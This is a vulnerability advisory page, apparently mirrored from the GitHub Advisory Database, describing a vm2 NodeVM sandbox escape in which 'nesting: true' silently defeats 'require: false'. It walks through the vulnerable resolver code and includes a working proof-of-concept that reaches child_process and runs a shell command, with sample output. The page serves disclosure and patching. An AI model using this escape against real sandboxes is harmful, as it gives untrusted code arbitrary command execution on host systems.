Crítica

vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution

  • Publicada: 07.05.2026
  • Actualizado: 11.10.2026 10:22

Summary

When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.

Details

The vulnerability is in how the nesting: true option interacts with the legacy module resolver.

lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:

js
const NESTING_OVERRIDE = Object.freeze({
  __proto__: null,
  vm2: vm2NestingLoader
});

lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:

js
const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
  requireOpts,
  nesting && NESTING_OVERRIDE,  // ← injected when nesting:true
  this._compiler
);

lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:

js
function makeResolverFromLegacyOptions(options, override, compiler) {
  if (!options) {
    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all
    // BUG: require:false + nesting:true reaches here
    // override (NESTING_OVERRIDE) is applied, making vm2 available
    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable
  }
  // ...
}

lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:

js
if (overrides) {
  const keys = Object.getOwnPropertyNames(overrides);
  for (const key of keys) {
    res.set(key, overrides[key]);  // vm2 always injected when nesting:true
  }
}

The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.

This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.

PoC

Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).

js
const { NodeVM } = require('vm2');

// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });

const result = vm.run(`
  // Step 1: require('vm2') succeeds despite require:false on the outer VM
  const { NodeVM: NVM } = require('vm2');

  // Step 2: create an inner NodeVM with attacker-chosen require config
  // This inner VM has no relation to the outer VM's restrictions
  const inner = new NVM({ require: { builtin: ['child_process'] } });

  // Step 3: execute arbitrary OS command in the inner VM
  module.exports = inner.run(
    'module.exports = require("child_process").execSync("id").toString()'
  );
`);

console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...

Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):

uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)

The variant with require: false also works — the outer VM's require setting has no effect:

js
new NodeVM({ nesting: true, require: false }).run(`
  const { NodeVM: NVM } = require('vm2');
  module.exports = new NVM({ require: { builtin: ['child_process'] } })
    .run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...

Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.

Impact

Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.

What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.

Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.

Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm vm2 < 3.11.1 3.11.1

Referencias

Puntuación CVSS 9.1/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-284, CWE-693
Plataforma
npm
Paquete
vm2
Publicada
07.05.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-8hg8-63c5-gwmx - CC BY 4.0

Historial de vulnerabilidades: vm2

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (78) en el archivo
Entradas en total
78
Primera → última
10.2021 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 51
  • Alta 14
  • Media 12
  • Baja 1

Divulgaciones por año

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Gravedad:
  1. vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution esta entrada
    Crítica · 9.1 CVE-2026-44007 < 3.11.1 3.11.1
  2. Crítica · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  3. Crítica · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  4. Crítica · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  5. Crítica · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  6. Crítica · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  7. Crítica · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  8. Crítica · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Crítica · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Crítica · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Crítica · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Crítica · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Crítica · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. Alta · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Crítica · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Crítica · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Crítica · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Crítica · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Crítica · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Crítica · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Crítica · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
Mostrar más (20) Mostrando 41 de 65

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.